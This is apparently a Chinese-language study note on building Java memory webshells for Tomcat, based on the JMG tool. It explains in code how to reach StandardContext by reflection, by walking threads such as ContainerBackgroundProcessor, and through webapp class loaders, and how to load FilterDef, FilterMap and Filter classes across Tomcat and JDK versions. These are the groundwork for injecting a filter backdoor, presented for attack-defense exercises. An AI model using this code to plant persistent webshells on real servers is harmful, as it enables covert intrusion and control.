之前学习的通过反序列化或者其他能够代码执行的内存马回显技术,在一定版本下以及一定实验环境下,已经足够好用。但是问题在于如果我们放到JDK11或更高版本,以及实战情况下,这个时候内存马构造的代码就不够看了,并且在大多数攻防情况下,注入一段内存马还是硬道理。于是这段笔记用来记录我学习JMG和其他实战场景下的内存马构造。
获取StandardContext的思路总结
目前存在如下方法:
1.从request对象反射出ApplicationContext,然后获取StandardContext。问题在于如何获取request。一是通过ThreadLocal属性获取,而是通过global属性获取。这个方法如果在JDK8下是完全没问题的,由于我个人能力原因JDK11下某些反射之后得到的对象不能够强转的问题而搁置。如果存在能够解析JSP的情况,这个方法就能够快速获取到request对象,从而快速获取到StandardContext,之前学习Memshell回显技术就是基于获取request的思路基础上进行的。
2.直接从ContextClassLoader中获取。ContextClassLoader,这里是指WebappClassLoaderBase,具体作用是Tomcat为了隔离每个webservice容器中类加载的问题,所以每个web容器会内置一个ClassLoader。之后就可以调用WebappClassLoaderBase的getResources方法,获取StandardRoot,再通过StandardRoot的getContext方法获取到StandardContext。代码也很简单实现:
1 2 3 4 5 6 7
| ClassLoader webappClassLoader=Thread.currentThread().getContextClassLoader(); Field webResourceRootfield=org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources"); webResourceRootfield.setAccessible(true); Object standardRoot=webResourceRootfield.get(webappClassLoader); Field standardfield=Class.forName("org.apache.catalina.webresources.StandardRoot").getDeclaredField("context"); standardfield.setAccessible(true); Object standardContext=standardfield.get(standardRoot);
|
不过肯定还能再简化。
3.遍历线程,去寻找存有standardContext的线程,并层层获取到standardContext或者它的子类–TomcatEmbeddedContext。其实遍历线程并不仅仅只有这么一个作用,在遇到了snakeyaml的ScriptEngineManager形式的加载内存马时,由于ScriptEngineManager在初始化SeviceLoader用于加载服务类时,会单独指定一段 ClassLoader(该 ClassLoader 没有明确设定 Tomcat 的类路径) 并且开一段新线程用来加载,这就导致我们执行构造内存马的代码时,如果存在Class.forName这种需要ClassLoader进行类加载的时候,光秃秃的 URLClassLoader 可定加载不到指定的 Tomcat 类的情况。
所以遍历线程获取StandardContxt的方法是最实用的,也是我本次学习的重点。
有几点详情:getFV 是通过反射将值取出,getF 是反射获取到对应值的 Field,以及 invokemethod 也是通过反射调用的
详解遍历线程获取StandardContext
具体的代码实现,这是我从JMG中得到的获取Context的具体方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public Set<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { Set<Object> contexts = new HashSet(); Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); Object context = null;
try { Thread[] var4 = threads; int var5 = threads.length;
for(int var6 = 0; var6 < var5; ++var6) { Thread thread = var4[var6]; if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children"); Iterator var9 = childrenMap.keySet().iterator();
while(var9.hasNext()) { Object key = var9.next(); HashMap children = (HashMap)getFV(childrenMap.get(key), "children"); Iterator var12 = children.keySet().iterator();
while(var12.hasNext()) { Object key1 = var12.next(); context = children.get(key1); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); }
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } } } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); }
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } } }
return contexts; } catch (Exception var14) { throw new RuntimeException(var14); } }
|
总体其实就两个部分,一个是for循环遍历整个线程,二是判断当前遍历的线程是否为ContainerBackgroundProcessor,以及当前线程下的ClassLoader是否为ParallelWebappClassLoader或TomcatEmbeddedWebappClassLoader。
我们一个一个来说:
0x01 ContainerBackgroundProcessor
抛开它在 Tomcat 中的作用,单论内存马构造,如果是 Tomcat678 的版本,ContainerBackgroundProcessor 是我们第一首选获取到的线程。(tomcat9 中它并不是不起作用了,而是从线程中获取不到了)
具体作用:
Tomcat的Engine会启动一个线程(就是ContainerBackgroundProcessor),该线程每10s会发送一个发送一个事件,监听到该事件的部署配置类会自动去扫描webapp文件夹下的war包,将其加载成一个Context,即启动一个web服务。同时,该线程还会调用子容器Engine、Host、Context、Wrapper各容器组件及与它们相关的其它组件的backgroundProcess方法。
功能决定了它其中必定封装了 StandardContext
如何去取呢?我们观察上面这张图的取值结构,ContainerBackgroundProcessor 名称的 thread 中,属性值 target 封装了 ContainerBackgroundProcessor,将它取出之后,此时的 ContainBase 的具体实现是 StandardEngine,也就是说我们此时通过取出 ContainerBackgroundProcessor 的外部类,就能取到 StandardEngine,之后就是 StandardEngine->StandardHost->StandardContext 的顺序取出了
在 JMG 生成的 getContext 的具体代码中,具体就是第一段 if 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children"); Iterator var9 = childrenMap.keySet().iterator();
while(var9.hasNext()) { Object key = var9.next(); HashMap children = (HashMap)getFV(childrenMap.get(key), "children"); Iterator var12 = children.keySet().iterator();
while(var12.hasNext()) { Object key1 = var12.next(); context = children.get(key1); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); }
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } } }
|
0x02 Tomcat9 之后的路
之后就是 Tomcat9 版本之后的内容,ContainerBackgroundProcessor(standardEngine) 无法通过遍历线程获取到了,但是此时我们有另一种方法,就是直接判断该线程的 ContextClassLoader 是否为ParallelWebappClassLoader
或者TomcatEmbeddedWebappClassLoader
,然后再根据老一套的 ContextClassLoader->ContextRoot->StandardContext 逻辑将 context 取出。这里其实还有一条路,就是通过Acceptor 的线程去拿 StandardContext。这个方法固然很好,但是问题在于,如果遇到了 Snakeyaml 的 ScriptEngineManager 中指定的 ClassLoader 是 URLClassLoder,就加载不到一些重要的类,所以我们很有必要获取到一个能够完成绝大部分类加载的 ClassLoader,ParallelWebappClassLoader``TomcatEmbeddedWebappClassLoader
都是这样的 Loader,并且他们还能拿到 Context
JMG 中的具体的代码如下:
1 2 3 4 5 6 7 8 9 10
| else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); }
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } }
|
之后还需要注意的一点就是 Class.forName 加载 Tomcat 类的时候,一定要指定 ClassLoader。
tomcat 版本不同中关键组件的获取
具体的实现代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ClassLoader catalinaLoader = this.getCatalinaLoader(); try { if (this.classLoader == null) { this.classLoader = Thread.currentThread().getContextClassLoader(); }
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef", true, this.classLoader).newInstance(); filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap", true, this.classLoader).newInstance(); } catch (Exception var19) { try { filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, this.classLoader).newInstance(); filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, this.classLoader).newInstance(); } catch (Exception var18) { filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); } }
|
org.apache.tomcat.util.descriptor.web
主要适用于 tomcat9 之后
org.apache.catalina.deploy
主要适用于 tomcat8 以及之前较老的版本
还有一些关键组件,因为版本不同,比如 javax.servlet.Filter
和jakarta.servlet.Filter
,具体就是 tomcat9 之前和 tomcat9 之后的 tomcat10 的版本不同,导致报名不同的问题,处理的逻辑如下:
1 2 3 4 5 6 7
| Class clazz; try { clazz = Class.forName("javax.servlet.Filter", true, this.classLoader); } catch (Exception var16) { clazz = Class.forName("jakarta.servlet.Filter", true, this.classLoader); }
|